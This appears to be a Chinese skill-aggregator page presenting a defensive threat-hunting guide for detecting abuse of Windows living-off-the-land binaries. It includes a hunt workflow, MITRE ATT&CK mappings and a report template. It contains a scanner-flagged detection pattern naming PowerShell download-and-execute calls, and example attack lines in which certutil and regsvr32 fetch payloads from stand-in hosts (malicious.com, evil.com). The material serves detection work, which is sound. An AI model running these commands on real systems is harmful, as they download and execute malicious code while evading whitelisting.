跳到主要内容
知仓学习社ZHICANG

hunting-for-living-off-the-land-binaries

Proactively hunts for adversary abuse of legitimate, signed system binaries

执行命令读文件写文件严重 0 · 高危 1mukul975/Anthropic-Cybersecurity-Skills

它会碰到什么

扫了多少8 个文本文件,55 KB
它会碰到什么执行命令读文件写文件
命中总数6 处
命中统计严重 0 · 高 1 · 中 5 · 低 0
逐条看命中(1 条严重或高危)
  • scripts/agent.py:69exec-spawn
    r"IEX\s*\(", r"Invoke-Expression", r"DownloadString",

这一栏是扫描器报的事实,不是结论。命中多不等于有毒(安全工具、规则库、示例脚本本来就会包含危险写法),命中少也不等于干净。它和你手上的凭据、文件、网络有什么关系,需要你自己看。

技能内容

Hunting for Living-off-the-Land Binaries (LOLBins)

When to Use

  • When investigating fileless malware campaigns that bypass traditional AV
  • During proactive threat hunts targeting defense evasion techniques
  • When EDR alerts fire on legitimate binaries executing unusual child processes
  • After threat intelligence reports indicate LOLBin abuse in active campaigns
  • During red team/purple team exercises validating detection coverage for T1218

Prerequisites

  • Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
  • SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
  • Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
  • PowerShell command-line logging enabled (Module Logging, Script Block Logging)
  • Network proxy or firewall logs for correlating outbound connections

Workflow

  1. Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
  2. Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
  3. Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
  4. Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
  5. Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
  6. Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
  7. Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.

Key Concepts

| Concept | Description |

|---------|-------------|

| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |

| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |

| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |

| T1218.001 | Compiled HTML File (mshta.exe) |

| T1218.002 | Control Panel (control.exe) |

| T1218.003 | CMSTP |

| T1218.005 | Mshta |

| T1218.010 | Regsvr32 |

| T1218.011 | Rundll32 |

| T1197 | BITS Jobs (bitsadmin.exe) |

| T1140 | Deobfuscate/Decode Files (certutil.exe) |

| Proxy Execution | Using trusted binaries to execute untrusted code |

| Fileless Attack | Attack that operates primarily in memory without dropping files |

Tools & Systems

| Tool | Purpose |

|------|---------|

| CrowdStrike Falcon | EDR telemetry and process tree analysis |

| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |

| Splunk | SIEM log aggregation and SPL queries |

| Elastic Security | Detection rules and timeline investigation |

| Sysmon | Detailed process creation and network logging |

| LOLBAS Project | Reference database of LOLBin capabilities |

| Sigma Rules | Generic detection rule format for LOLBins |

| Velociraptor | Endpoint forensic collection and hunting |

Common Scenarios

  1. Certutil Download Cradle: Adversary uses certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.
  2. Mshta HTA Execution: Attacker delivers HTA file via email that executes VBScript payload through mshta.exe, which is a signed Microsoft binary.
  3. Rundll32 DLL Proxy Load: Malicious DLL loaded via rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.
  4. Regsvr32 Squiblydoo: Remote SCT file executed via regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll bypassing application whitelisting.
  5. BITSAdmin Persistence: Adversary creates BITS transfer job to repeatedly download and execute payloads using bitsadmin /transfer.

Output Format

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
  - [Finding 1 with evidence]
  - [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]

想直接用这个技能?

本站把开放许可(MIT / Apache 等)的技能按仓库打包整理到网盘,点一下转存到你自己的网盘,不用一个个从 GitHub 拉。许可未声明的技能只给原始仓库链接,不打包。